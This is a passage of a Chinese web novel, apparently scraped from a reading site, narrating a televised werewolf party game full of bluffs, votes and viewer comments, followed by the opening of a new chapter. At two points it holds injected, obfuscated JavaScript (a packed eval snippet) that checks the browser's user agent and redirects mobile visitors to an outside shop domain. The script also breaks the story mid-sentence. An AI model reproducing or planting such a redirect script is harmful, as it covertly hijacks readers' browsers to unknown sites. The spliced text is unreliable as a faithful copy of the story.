“第一,我是好人身份,周自珩给我的金水我接一半,我并不能完全信你这个预言家。第二,大家都排了狼坑,我聊一下场上的明好人,9号是一个铁好人。”说着他微笑着看向许其琛,“如果他是狼,且被盘进狼坑,无论这两个预言家里谁是他的狼队友,他一定会顺势推走真预言家,而不是强调不是预言家轮次,因为这样轮次可能到他头上。所以他的好人身份我认的下来。” “8号小裴的发言目前为止都是偏做好的,起码在全场都站边自珩的时候,他第一个跳出来找自珩的漏洞。至于两个预言家,自珩的逻辑很饱满,但我想,如果夜里就已经想好要焊跳,这个时间我想也足够你想好一个圆满的逻辑。而且夏习清在你前置位跳预言家,你改变话术,先警徽流后验人结果更能坐稳身份。” “警下投票的确什么加深了我对你的怀疑,没有一个人给夏习清上票,场上几乎也都不信他,如果习清真的是狼,他队友就这么怂?”说着方觉夏看向商思睿,“思睿警下没给习清投票,现在上来又倒向他,我反而觉得这是典型的民,视角不清导致的摇摆不定。” [ss ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727010|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r可怜兮兮哈哈哈] “第三,来说说这个七号女巫。我们回想一下,为习清说过话的人只有8号裴听颂,他是七号知许女巫的银水。女巫是被习清发查杀的人,但是银水却在给发他查杀的预言家说话,这个逻辑连起来是不是很矛盾?大家说你不报银水,你就报了个认你是查杀的银水,小裴上一轮发言就已经软站边习清了,你如果是真女巫,看到你的银水站错边,是不是那个时候就想报他出来将他拉回自己的阵营?但你没有,你这时候才说出来,也没有救人的心路历程。这么一推,我就觉得习清的这个查杀发得更有力度。” [woc真的,女巫的银水站的是发女巫查杀的预言家!这一套套下来就不对啊!] [方觉夏的逻辑真的6] “刚刚是基于你发的银水,我觉得矛盾蹊跷。再从你起跳的出发点和目的出发,九人局屠边很容易,比较怕的是狼抿身份。刚刚许编也说过你可能是民穿女巫衣服挡扛推,这个我也想到了,或者你干脆是真女巫。” 说着,他淡淡地笑了笑,“但我想通一件事,就发现你不是真女巫了。如果你是真的女巫,你在被查杀的那个时间点跳出来,等于我们好人送了预言家和女巫两神,那你准备毒谁呢?习清?当时自珩的发言一出,那么饱满,相比之下习清很有可能被扛推出局,你毒不到他身上。” 他以一个平民视角有条不紊地分析着个中逻辑,“屠神局,你真女巫跳出来晚上可能被刀,吃刀之后必开药,那时候你要毒谁呢?毒哪个才一定不会毒错?一定可以帮我们好人追回轮次?在那个时间点,只有三个人发言,你根本找不到一个合适的吃毒的人。所以你作为真女巫那时候跳出来,你晚上会死,你的毒大概率会被浪费,好人血崩。这不是你一个高玩会做出来的事,对吗?” [卧槽这几连问把我都问懵了] [草,真的,如果夏知许是真女巫他不可能会这么做,方觉夏想到的事他一定能想到,他绝对是假女巫。] “其实如果你刚刚发言脱掉女巫衣服认民,可能还好点,但可能你在赌,只要你女巫衣服不脱,大家就不敢随便推你出去。但很抱歉,女巫的衣服你也没能穿牢。所以这一局,我会走查杀,在我心里你不是女巫。”说到这里,方觉夏一脸诚恳,“但我希望真女巫不要出来了,听到现在你们心里应该有数,知道毒药撒谁,希望撒准一点,这是好人的救命稻草。我发言完毕,过。” 这一套发言下来,弹幕刷满了666。方觉夏的发言狠狠击碎了夏知许的假女巫衣服,也击碎他最后的保护壳。他知道这一夜还没有过去,现在不是直接跳出来拍女巫身份的时候,何况他跳出来,让原本迷惑的真假预言家再加上真假女巫,平民只会更加混乱。 他必须站在第三方视角用逻辑来分析,夺回被别人穿走的女巫衣服。 最后到了警长发言,周自珩的状态一如既往地好,“警长发言。其实我拿预言家的次数也不多,但是我很清楚,拿预言家要做的不是踩死谁,而是让场上的好人尽可能地相信自己说的话,否则验人再准,活得再久,提供的信息也没人相信。所以我还是愿意跟大家表水。你们刚刚指出我发警下金水这一点,其实这是一个先果后因的思维顺序。”周自珩看向其他人,“我作为预言家,第一晚验人只会考虑到这个人是不是值得我来验,对好人有没有帮助。我是想不到晚上验的人早上起来会不会上警的,何况在我心里,觉夏是应该会上警的类型,不是吗?” 方觉夏笑了笑,这倒是不假。要不是看见大家齐刷刷上警,他这只手也不会放下。 周自珩发言实在优秀,不愧是拿过影帝的人,状态好,逻辑顺,姿态还非常亲切,让人完全找不出一点错。 “另外大家怀疑的一点,就是投票的票型,其实说真的,我在场上已经把思睿盘进我的狼坑了,他会投给我我也没有想到,这不是预言家可以控制的,因为预言家没有团队,不能商量配合。竞选的票型来看,的确习清没有队友,可现在这一轮发言下来,你们还这么认为吗?连我的金水都不会跟我票,选择去票出狼预言家的查杀,我是不是才是那个真的没有团队的人?” “但是没关系,大家站队都是常事,游戏而已。不过你们要记住,和我焊跳的习清是铁狼无疑,今晚必须跟我票他出局,这是一头真正的明狼,也是最大的不确定因素,不能留在场上。我对话一下场上的好人,我们算笔账,如果这一局把7号知许送走,是狼走的也还好,晚上死我一个轮次能追回来,如果是好人,他们赚了。何况我真的不觉得一个焊跳狼上来就给自己的狼队友发查杀,收益太小了三狼局。我不可能跟着和我对跳的铁狼票他的查杀。” “”刚刚觉夏说他不会是女巫,我在这里也不铁保他是什么身份,我没验过他,但凡事无绝对,放着场上的明狼不推,推一个亮女巫身份的人,如果觉夏你计算错误,药没了,晚上再刀我,猎人藏不住被抿出来,这局就结束了。” “所以今天,必须给我票习清,焊跳的铁狼不走这轮好人就输定了,不怕好人站错队,但你们要为好人追轮次想想。” 这番话说得恳切至极,哪怕是方觉夏听来,站在他预言家的身份,的确都是如此。 法官的声音出现,“警长请归票。” 周自珩举手比了个2,“警长归票2号。” 方觉夏想了想,按照自己心里的想法比出数字。 “好的,现在公布公投结果。1号商思睿、3号贺子炎、4号周自珩、7号夏知许投给2号夏习清。其余玩家全部投给7号夏知许。” [真不愧是摇摆不定的商三三啊,肯定觉夏说的时候就想投知许,最后自珩归票又投习清了] [但还是投知许的多啊] “7号玩家夏知许出局。请留遗言。” 夏知许往椅子上一靠,哪怕是出局了脸上还带着笑,顿了一会儿,他才终于开口,“我是狼啊,我就是狼。嗐,本来我要打冲锋的,突然被发了个查杀有点懵,想了半天还是跳神简单一点。失误了,下来应该脱女巫衣服认个民的。是吧自珩。”说着他歪着身子看向周自珩,“你焊跳的时候也应该发个查杀的。” 所有人眼睛都睁大了,周自珩只是对着他笑,没有说话。 “甭装了,还有思睿,敞开打得了。我都把我队友送给你们了,裸着打吧。”说完夏知许的眼神看向方觉夏,唇边的虎牙透着点嚣张,“虽然你扒我衣服的样子挺像个民的,但是我还是觉得你是个带身份的。” “女巫?猎人?”夏知许想了想,“要不今晚刀他吧。” 方觉夏面不改色,只淡淡笑着。 “方觉夏是一个,贺子炎和路远里面总有一个带身份。狼刀追得回来,万一女巫手抖把毒撒错了呢?不说了,队友们加油哦。”他起身,离开之前还拍了拍方觉夏的肩膀。 方觉夏深吸一口气。 夏家人真的一个赛一个的可怕。 夏知许离场之后,再次进入天黑。这一晚方觉夏原以为狼人杀人会比较迅速,没想到时间久了点。老实说,夏知许的话迷惑性太强,他和夏习清是一个路数的人。闭着眼的方觉夏一直琢磨着自己之前的思路,尽可能不被他的遗言打乱节奏。 “女巫请睁眼。” 方觉夏睁开眼,听着上帝问他要不要使用解药,但第一晚已经用掉解药的他没办法知道死去的人是谁。 “你有一瓶毒药,请问你要使用吗?” 要用吗? 脑海里浮现出夏知许走前的场景,1号商思睿,4号周自珩。哪个是真的,还是他的障眼法。 他找不出一个合适的人去毒,毒错好人可能就送分了。 可是如果今晚死的是他呢,毒药不就浪费在手里了。 方觉夏深呼吸,努力地代入狼人视角。 他没想到,夏知许的出局,让他的决定变得异常艰难。 “天亮了。” 3. 狼人杀(下) 方觉夏惴惴不安,第一次玩游戏玩出这么心惊肉跳的感觉。经过一番激烈的思想斗争,方觉夏最终还是没有撒毒,夏知许最后的遗言摆明了是想激怒真女巫撒毒。场上只有两狼,剩下六个都是好人,好人领先,这时候撒毒就是送人头。 方觉夏冒不起这个险。 法官宣布结果,“昨晚死的是6号路远,请玩家离场。” 他先是松了口气,狼人并没有刀他,可下一秒他忽然觉得不对。他怎么都想不到狼刀会落到路远的身上。 狼队打得是什么战术? “警长请指定发言顺序,死左还是死右?” 周自珩指了指方向,从8号裴听颂开始发言。看到他指的方向,方觉夏愣了愣,已经把周自珩打入狼坑的他以为周自珩百分之一百会从他5号开始发言。这样的方向,从8号开始,等于把他5号放到归票位的前一位了,倒数第二个发言,很可能逆转局势。 发言顺序有多重要,周自珩这种高玩不会不知道。 刀走的人和他想象中不一样,指定的发言顺序也跟想象中不一样。 方觉夏这时候才感觉有点乱了。 镜头切换到裴听颂的位置,他手指敲着桌子,思考了一会儿,“昨晚死的是路远……知许走的时候那个遗言真的是疯狂搅混水。他认狼走的,点出自珩和思睿是他的队友,又给觉夏穿神的衣服。觉夏的发言我觉得不像神,带身份的视角一般很少打出纯逻辑流,夏知许这么做可能就是想再诈一诈女巫,激女巫开毒,不过看来女巫还是没敢开,挺好的,这样我们还有公投和药,现在走了一狼,好人总归是领先的。” 说完他看向周自珩和夏习清的方向,“但是就他昨晚的遗言,我想了一下。如果没记错,自珩哥上一轮归票拉了一把知许,因为你想归习清哥走,这我可以理解,我如果是预言家,也会踩死和我对跳且不退水的人。但是你拉的夏知许直接认了狼,并且反手一个送队友,把你4号也认了狼,这是什么操作?我一开始觉得他是想脏你,毕竟你是拉他的人,但知许哥是很会玩的,用单层逻辑来想就太容易了,再套一层逻辑,他是想借着脏你的功夫,来保你周自珩的预言家。场上的玩家都不傻,不可能说他认了你4号是狼队友,大家就真的觉得你4号是狼。而且在上一轮你4号已经失去大家信任的前提下,这么一踩你,反而让所有人起逆反心理,觉得你其实是被夏知许诬陷的好人。” [对对对我也这么觉得] [知许一说自珩是他队友,我就觉得不对劲,但说不出哪里不对劲,现在我好想有点明白了] 裴听颂转了转脖子,“更何况,知许哥是第一轮就被查杀的对象,这也验证了习清哥是真预言家,而和他对跳的你是假的,是悍跳狼。夏知许这么做,看似做低你4号的身份,其实是做低了2号习清哥的身份。不过没关系。”裴听颂表情轻松,两手放在桌子上,“反正正好他留的另一个狼队友三三,在习清哥的第一警徽流里,我听一听验人,看我的双层逻辑是不是能成立。今天我这一票是绝对不会跟警长了。我强势站边2号真预言家,输了我的锅。过。” 方觉夏没有说话,只看了一眼裴听颂,巧的是裴听颂说完也看向了他,还冲他笑了一下。 [葡萄树真是打得又刚又猛,只在jxgg这里当小甜甜] “9号玩家发言。”许其琛一脸凝重地开口,“我现在脑子有点混乱,但是刚刚小裴说的话,也是我想的,知许直接把脏水泼到自珩和思睿身上,应该是想保自珩的,因为他出局认狼等于完全接了习清发的查杀,这时候习清的身份就做好了,如果他就直接认狼离开,大家就会完全信任习清,但是他丢了一个狼人衣服给自珩,大家就会迷惑,看似脏自珩,可能实则是保他。” 说着他又皱了皱眉,“这一轮知许连连失误,我总觉得有点奇怪。但老实说到现在我肯定也认下来习清的预言家身份了,三狼局狼踩狼真的很冒险,应该不会这么打的。还有一点就是,知许走之前为什么特意要点出觉夏,给觉夏疯狂穿女巫衣服,可最后竟然没有刀觉夏,这一点拉低了觉夏身份。他还说子炎和路远有一个带身份,最后到了路远,狼队这一局把我之前的逻辑打碎了。但是查杀认狼坐实预言家身份一定没有错,我这一轮也跟习清。我建议先把警徽撕掉,但还是听听验人,我觉得商思睿的身份还是挺重要的。过。” 果然,夏知许最后的遗言把所有人都弄乱了。 镜头转换到1号商思睿,他一脸无奈,“我真的胆战心惊,就怕女巫毒我。我都已经做好一觉醒来变成尸体的准备了,不过好在女巫大神心里有数,没有撒毒,感谢感谢。讲真的,这一轮不止我一个人反复横跳吧,一开始大家都站自珩,后来不都站习清了,我并不是特殊的。死的路远没有开枪,那他肯定不是猎人,哎会不会有这种情况啊,路远其实是女巫,但是女巫解药第一晚就用了,所以他不知道谁死了,也没敢开毒,就这么被刀走了,现在场上没有女巫。那我觉得就太惨了吧。可是狼人应该不会搞错吧,我猜路远应该是带身份走的……刚刚八号和九号都说我是焦点牌,听习清验人结果吧,我自己知道我自己不是焦点。” 说完他又看向方觉夏,“我总觉得知许走的时候故意说觉夏,看起来是脏他身份,可能也是在保他呢,他提了这么几个人,总有要保的吧。因为觉夏是自珩给的金水,如果按照刚刚大家的分析,自珩会不会给警下狼队友发金水?没错吧,这完全说得通,而且自珩还把我打成了焦点牌。” 方觉夏发现自己没有被刀的时候,就害怕有人会这么想,没想到果然被提出来这一点了。 说得起劲儿的商思睿仿佛一下子找到了盲点,“肯定是这样没错。这样,容个错吧,我觉得要么觉夏是最后一狼,要么就是许编,因为许编发言一直很好,到这一局忽然迷糊了,我直觉有点奇怪。” 光是听着,方觉夏都替商思睿捏了把汗,这种直觉流打法要被踩死的。 “反正我盘的狼坑就是这样,4号自珩铁狼,7号知许铁狼,剩下一个不是觉夏就是许编,这两个人深水倒钩可厉害了,比鬼故事还可怕。过过过。” 商思睿说完,场上已经三个人发言,全部站边夏习清。夏习清已经完全占据上风。 方觉夏看着夏习清胸有成竹地抬了抬下巴,和前两轮发言的状态已经完全不同。 “2号发言,2号全场唯一预言家,昨晚按照警徽流验了1号,1号是我的查杀。” [woc两连发查杀!牛逼牛逼!] [所以虎牙哥哥的遗言是真的!] 查杀…… 方觉夏盯着他,发现夏习清看都没有看商思睿一眼,可商思睿满脸都写着震惊和冤屈。 “今天必须全票跟我走这个查杀狼。虽然我很少拿到预言家牌,但事实证明我还是很适合拿预言家的嘛,一查一个准。”夏习清脸上挂着笑,看向周自珩,“就算我没拿到警徽,还是可以carry好人的。” 说完他稍稍正色些,“我跟你们从头到尾盘一下狼队配置。9人局三狼上警我一开始就不信,警下肯定有狼,商思睿拿狼躲在警下给自己的狼队友上票,帮助狼队友周自珩拿到警徽,周自珩又故意把他盘到狼坑里,就是想要表示我跟他不认识,我们不是一个团队,但是没想到上来就被我查杀了一个高配狼夏知许,狼队血崩,最后还想靠着晚上不刀我、遗言污周自珩的方法替他坐实预言家身份。不过从验到查杀的那一刻起,你们狼队就输了。” 夏习清挑了挑眉,环顾四周,“现在所有的好人应该都看清局势了吧,不用再整一些有的没的,我知道后面狼警长肯定还要往回掰票,没用的,别做无用功了。今天跟我票查杀狼1号,必须把1推走。” 方觉夏眯起了眼睛。 “谁不票好人输了谁背锅。我预言家已经仁至义尽,帮你们查出两匹狼了。过。” 按照顺序,到了贺子炎,“3号贺子炎发言,我现在也觉得挺清晰的了,而且有一点我现在想想有点后怕,就是自珩第一轮的时候就说1号2号开狼,所以保了我三号,以至于后面一直有人拿这一点来打我三号,现在想想可能是故意的。我身份阳光得不能再阳光了,你们总是盘我带身份,带不带身份你们自己猜,反正我是民及民以上。” 方觉夏的视线从贺子炎转移到周自珩的身上,感觉他的脸色不太好看。周自珩是一个打法极稳的玩家,哪怕是最开始遭遇夏习清焊跳,也没有管理不住表情和状态的情况。 他试图回溯,找到始终觉得不对劲的那个点。 “而且习清查杀了思睿,说明警下确实有狼,狼也确实上票给自己狼队友了。没毛病。习清查杀的另一个人也是认狼走的,习清就坐实了预言家身份啊。之前我还在想,知许点出来的两个狼队友应该不会全都是真的,可能是一真一假。现在习清查杀思睿,如果真的是一坏一好,自珩是好人,和他对跳的预言家是什么?就矛盾了。所以自珩只能是狼,思睿也是狼。知许利用大家的疑心在保他们的两个队友。我倾向于觉得知许走前给他穿神衣服是为了诈身份,兜不住的女巫可能就往外跳了。反正这一轮我肯定是跟习清的票。我觉得局势已经很明朗了,狼刀追不上的。过。” 镜头切换到方觉夏的身上,他沉默了至少五秒钟,才抬起头。那张原本就十分冷淡的脸显得更冷。 “全场唯一真女巫,现在带毒要票。”方觉夏面无表情,但一贯平静的语气此刻却变得格外强势,“我对话场上所有好人,今天你们都给我全票出习清,谁不上票2号我晚上毒谁。我,现在就带着毒药铁站边真预言家周自珩。” 这番话一下子震住了大家,谁都没有想到事情到他这里会有这样的发展。 [草草草这一局怎么这么高能!] [我靠原来漂亮宝贝是女巫!强势女巫太帅了!] [这时候跳出来站边周自珩太瞎了吧] “我知道你们现在肯定觉得我疯了。说一下为什么,周自珩从开始发言就很完美,唯一做低他身份的是习清这一局的打法,打得很收敛而且查杀了一匹狼,第一天的时候全场无人保习清,好像真的没有团队。” “到了第二轮发言风向就变了,几乎没有人帮自珩,而且习清发言时疯狂眼神暗示我,我当时以为他的意思是,‘其实你是我验出来的金水,夏知许是我临时发的查杀。’我真的信了,现在我想想知许的遗言,你们更多的是在拉我票,顺便抿一抿我究竟是神还是民。” “再看第三轮发言,周自珩还有任何团队吗?没有了。到目前为止,你们可能觉得我也只是猜测。但有一个爆炸的点,你们全都忽略了,这也是我一直觉得非常不对劲的一点。”说着,方觉夏扭头看向夏习清,“习清作为一个警上没有吃到票的预言家,竟然两轮都没有撕警徽。” “试想一下,如果你是预言家,场上存在一个和你对跳并且拿到了警徽的铁狼,你是不是一定要撕他?不撕掉警徽你是不是永远在警长的第一扛推位?我记得习清第一轮说,你们不想撕警徽可以,那就走查杀。到了这一轮,习清甚至没有提到撕警徽的事,也没有说女巫你晚上毒掉狼警,我一直等着这句话,但你没有说。为什么?因为你始终不是预言家的视角,你是狼,你的目标也不是真预言家,而是民,所以你才会因为自己的视角盲区而忘记这一点。” [真的,我之前就觉得没撕警徽很奇怪,而且周自珩打悍跳狼是应该的,弹幕好多人骂说他不应该踩习清,狼人杀不踩跟自己对跳的踩谁?] [我现在真的觉得谁说的都是真的了] 方觉夏继续说,“第二轮发言的时候我就已经完全倒向习清了,直到我醒来发现死的是路远,才知道你们这一局不是屠神局,而是屠民局。你们狼队一开始也拿不准周自珩是不是真预言家,因为之前玩过一盘怂预言家的局,习清民跳预言家带队赢了,所以你们有防备,干脆换战术屠民,这一轮民比神更好认。你们没刀我,可能是真的害怕我是猎人,起身开枪我一定会带走一狼,杀我不保险。商思睿是铁民一个,所以他才说他不怕2号查杀,他信习清是真预言家,他以为自己一定是金水。所以刚才他才会这么惊讶。思睿最开始就被打成焦点牌,是最适合被扛推出去的一张牌,如果他真的出去了,晚上刀中最后一民,游戏就结束了,对吗?” 这番话和之前所有玩家的话都形成了逆向的逻辑,一下子几乎没人接受。 如果夏习清是真预言家,好人才是占优势的,一定会赢。可如果他是狼…… 方觉夏只能用自己手上的药去威胁,“所以我,真女巫,今天拿毒强势带队,谁不跟我票2号,我今晚毒谁。过。” [我第一次看漂亮宝贝这么凶] [哈哈哈哈你们看葡萄树的表情,被哥哥威胁了吧] [习清的表情也变了,卧槽不会真的是狼吧,要真是这样,这一把习清玩得比以前还要脏啊] 最后一个发言的是警长。周自珩深吸了一口气,“我真的是预言家,还是要尊重我的底牌报一下验人,你们应该记得我的警徽流打的是先6号后8号,6号我验了,是金水,但现在也没用了,验了个尸体。其实到子炎发言的时候,我已经处于放弃阶段了,真的。但我今天做的最对的一件事就是我发言顺序指对了,幸好我把觉夏留在我前一个发言,我知道觉夏一定能分析出来点什么。狼队这把玩得太脏了,如果说你们之前只是脏,今天就是脏上加脏。就算是我今天输了,我也输得心服口服。” 周自珩没有能收敛住自己的情绪,叹了口气,“狼人杀是一个发言游戏,我发言没有任何问题就被你们打成铁狼。我想请问一下,作为一个预言家,打死和我焊跳的狼预言家有什么错?我没验出查杀,当然必须票习清,难不成我跟着习清去票他的查杀?就因为这一点你们说我保知许。谁能想到三狼局狼踩狼这个路数?我作为一个预言家去看,焊跳的必定是铁狼,铁狼发的查杀在我这里偏做好,这一套逻辑我想也没有问题吧。当然,我最后是看走眼了,但是你们不能用结果去盘原因,这是不对的。” “大家都默认狼踩狼收益不大,我也是,但如果夏知许这匹狼可以铁保狼预言家推走真预言家,藏住狼队友,这匹狼走得就不亏。你们要知道,习清拿到狼牌,要非常努力才能做好自己的身份,这种看似收敛的打法反而可以博得认同。” 他继续说道:“再跟你们盘一个我一定不是狼的简单逻辑。假设我真的是狼,我怎么会刀6号路远,他是我的第一警徽流,我杀他起身怎么报验人?我杀一个别的好人,起身给6号发一个查杀再推走他是不是收益更大?你们真的觉得我的配置会玩成这样吗?夏知许是非常会玩狼牌的人,他这把拿狼频繁失误,我甚至都怀疑是战术性失误,目的就是狼踩狼被扛推出局,无限做低我的身份,坐实习清预言家身份,顺便激一把女巫。” “我也只能说这些,希望好人能相信我的预言家身份。我依旧归票给2号习清,和第一轮一样不变。” 法官开口,“警长归票完毕,现在开始公投。” 方觉夏第一时间比出了2,他不确信自己的毒药能威胁到几个人,毕竟现在的局面,恐怕只有被查杀的商思睿愿意跟他们的票,他只是有点后悔,没有直接对话许其琛,他太着急号票忘了给许其琛发银水,不然说不定能撼动他。 但周自珩有警徽,说不定这多出来的0.5票会起到关键作用。 “现在公布投票结果:1号玩家商思睿、4号玩家周自珩、5号玩家方觉夏投给2号玩家夏习清。其余玩家投给了1号玩家商思睿。1号玩家出局。” 完了。 方觉夏放下手,眼看着商思睿被带走。 现在走了一个路远,一个商思睿,没搞错的话应该就是两民。只差最后一民了,他现在跳出来打,民坑相当于也直接暴露出来了。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727011|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天黑请闭眼。” 方觉夏被迫闭上眼,听着法官叫醒预言家和狼人,最后叫醒了他。 “女巫请睁眼。” 方觉夏取下面具,想都没想直接比了个2号夏习清,然后戴上了面具。尽管他知道,早上起来一定是死两人,一狼一民,游戏可能就结束了。 “天亮了。” 所有人取下面具,等待着法官宣布结果。 “昨晚死的是9号玩家许其琛和2号玩家夏习清。” 贺子炎忍不住开麦,“卧槽觉夏真的把其琛毒了?” 方觉夏没有说话,他等着法官说游戏结束。 “9号玩家是否发动技能?” 所有人包括方觉夏都惊住了,望向许其琛的方向。 许其琛点了点头,“开枪带走8号玩家裴听颂。” “9号玩家带走8号玩家。游戏结束。” 方觉夏悬了一口气,心脏狂跳。 “好人胜利。” 弹幕一下子炸开。 [卧槽卧槽卧槽我懵了!] [我居然蒙对了!我自己都不敢信!] [啥玩意儿?怎么好人就赢了?习清是狼吗!??] 商思睿从后台一边激动大叫一边往外跑,“吓死我了!赢了赢了!”他一把从后面抱住愣愣地坐在桌边的方觉夏,又起身抱住许其琛,就准备在他脸上吧唧亲上一口,但被随之赶到的夏知许扒拉开了,“哎哎哎,注意点儿,录节目呢。” “小气鬼。” 夏习清后悔地小力捶了下桌子,“刀错了刀错了,不应该刀琛琛的。”他趴倒在桌子上冲着许其琛撒娇,“琛琛你伤我太深了,哪有你这样的猎人啊,简直是深水猎人。” 许其琛哭笑不得,“也没有你这样的委委屈屈焊跳狼啊,我都完全信你了,结果起来我被刀才发现不对劲。幸好女巫给我留的枪靶子不是你,不然我都不敢开枪。” 方觉夏也笑了笑,“我已经迫不及待要毒习清了。” “哎我要是当时跟你票就好了,你没报银水我就有点怀疑。”许其琛说。 方觉夏鼓了鼓嘴,“我知道,我说完就后悔了。”裴听颂用手撑着脸,眼睛一直盯着方觉夏,没有挪开过,“可不是嘛,觉夏第一次这么强势地说话,肯定很紧张。” 许其琛问,“所以银水是谁?” “就是你啊,我们狼队两刀落在你身上。”夏习清坐正身子,露出一个天使的笑容,“怎么样,我今天的表现是不是特别绿茶,自爆玩家不自爆是不是很有迷惑性,厉害吧,这是我发明的狼踩狼绿茶悍跳流。我知道我起来焊跳发言越好,打得越不憋屈就越不被相信。不过被觉夏看出来了,觉夏你真的挺厉害的,果然逻辑流是最可怕的。” “没有没有。”方觉夏对着他笑,“我也是猜测。” “你快别说了。”周自珩抓住夏习清的手捏了一下,“你经此一役,是真的再也无法获得别人的信任了,把你自己最后一丝机会都堵上了。” 沉浸在分享自己新玩法喜悦中的夏习清忽然回过神,“对啊。” 路远也回到座位,“真的,习清以后拿预言家就真的没人信了哈哈!” 贺子炎笑着摇头,“这就是我把我自己赶尽杀绝吗?” 许其琛开始了秋后算账,掐了一把夏知许的胳膊,“所以你真的是跟习清狼踩狼?你玩得太脏了夏知许。” 夏知许边笑边哄,“没办法啊,你想想,夜里一睁眼我就看到夏习清和小裴。我去,全世界都知道我和夏习清玩得脏,小裴又在逃生里自刀一战成名,我们仨谁跳都没人信啊,只能出此下策了。想做实夏习清的预言家身份,还必须是我和他互踩才有人信,而且必须我死,认狼留遗言。” “所以你真的是故意失误出局的!而且故意认狼!” “对啊,其实是三层逻辑,但是小裴带节奏说成是两层。我就是在小裴的两层逻辑上再反一层套路,还是脏了自珩。” 贺子炎脑子都要炸了,“禁止套娃。” 裴听颂这时候已经偷偷溜到方觉夏的身边,站在他身后故意逗他,又是捂眼睛,又是捂嘴巴,把方觉夏逗得只想咬他,又不好意思当着镜头咬。方觉夏忽然想到什么,脑袋后仰望向身后的裴听颂,“习清当时说你,你不会倒钩吧,倒钩对不起你论坛高楼。我那个时候以为自珩是狼,你倒钩踩自珩捧习清来着。” 商思睿也点头,“我也是!没想到居然是个冲锋狼,踩自珩帮习清纯粹就是因为习清是他狼队友!太可怕了你们仨。” 身为猎人的许其琛也参与进来,“你们知道我为什么带小裴吗?我一开始在心里就把他标狼打了,之前我以为习清是真预言家,自珩是狼,然后小裴倒钩,和你们想的一样,但是小裴发言不是踩全场吗,特别像是穿猎人衣服的。我就怀疑他要打阴阳倒钩。但是如果不是觉夏那番话我可能还是不会开枪打小裴,我是后悔没跟票,所以必须开枪。” 路远忍不住感叹,“这一局真的反转加反转,女巫和猎人carry了,狼队全员mvp,自珩和思睿最惨哈哈。” 方觉夏想了想过程,“其实九人局狼人很难赢,这一局全是变数,你们看哪怕我反应过来了,带毒也没能逆转票型,本来以为稳输,结果原来我们谁都没有抿出许编身上的枪,深水猎人一枪带走最后一狼。如果当时票型逆转,狼队就输了,又如果狼队没有刀错人,刀中了最后一个民,天一亮我们也输了。” “所以说真的是势均力敌啊,赢也赢得很悬,输也输得很随机,这才是狼人杀啊……”听着大家复盘,贺子炎算了算,“算下来这局狼队和神队真的好高配啊,狼队是习清知许和小裴,三个玩得最脏的,神队是觉夏许编和自珩,三个玩得最稳的,一一对应,节目组发牌的恶趣味暴露了。” [这一盘混乱局真的全场高能:发言阳光却没人相信的真预言家、拿毒强势带队的女巫、九人局三狼上警狼踩狼、绿茶焊跳狼、被误以为倒钩的冲锋狼、深水猎人、还有最惨焦点民牌] 夏习清长叹一口气,“琛琛发言太民了,害我刀错,我第一次抿神失败。” 许其琛笑着推了一下眼镜,“你也骗到我的票啦,不亏不亏。”他又看向方觉夏,“我还后悔没有跟觉夏呢,觉夏真的厉害。女巫拿毒带队当时确实震住我了,怪我犹豫了一下没改票,改了赢得更快。” “自珩这个真预言家才是最冤的。”路远抬头看向周自珩。周自珩也只是耸了耸肩,笑着说:“我早就说过,遇到习清我真是赢不了。” 夏习清挑了挑眉,“那必须的,反正我今天给自己定的指标不是赢,就是要鸠占鹊巢,让大家相信我这个预言家。” 周自珩刮了刮他的鼻子,“我认输,真厉害。” 商思睿忍不住吐槽,“你们小情侣互踩真的太狠了。你看许编,往死里踩知许。还有自习互踩,太猛了。”说完他看向方觉夏的方向,见他正在帮裴听颂整理卫衣上的两个小抽绳,似乎想拉到一般长。 “也就是小裴,身为一头狼,居然一路都在护着觉夏,没有踩他,真是感人。” 夏知许没怎么过脑子,下意识回嘴,“你拿他们俩的关系和我们类比啊,他俩又不是情侣。” 这句话一说出来,本来热热闹闹的演播厅忽然间莫名其妙安静了。 方觉夏手上的动作也瞬间冻住,眨了眨眼睛。 [!好奇怪啊你们这群男的!!!] [虎牙小哥哥触发了什么机关!] [好的我的正主又舞到我跟前了] 裴听颂先反应过来,“对啊。”他摸了摸方觉夏的头,一本正经又极其不要脸地回应,“我们是比真情侣还要好的关系,对吧?” 方觉夏很小声威胁他,“闭嘴,再说我毒你。” 路远插了句,“对啊,你们是假兄弟。” “哈哈哈哈虚假营业诚不欺我。” 4. [过敏原]徐霖x沈密 . 徐霖第一次见沈密是在服饰设计大赛上。更确准地说,是在他们新传学院选手赛后的留念合照上。一排笑脸的最左侧,一个路过的高个子男生不小心入镜,小麦色皮肤,头发理得很短很干净,侧脸看起来挺拔又阳光。 奇妙的是,这是徐霖头一次不会把好看的人与“适合当模特”这个概念等同起来,而是单纯从他的身上感受到了某种吸引力。 感觉难以言喻,有点好奇,又很想见他。 想知道他的名字,徐霖便对着分享照片的同学装出随口一问的样子,“这家伙是谁啊?” “这个?”同学看向他指着的侧影,把照片放大了又放大,“这我哪知道啊?怎么,你看上他了?想让他当模特?比赛都结束了诶。” “看上”这两个字仿佛戳中了徐霖某个小小的敏感点,他立刻反驳,“谁说的!我……我只是觉得这个人太碍事了,跑到别人的合影里来,应该把他裁掉。” 没想到最后照片印出来,那个人真的没了。徐霖又气又不敢发作,只能借他们P图效果太差为由,百转千回地要来了原片。 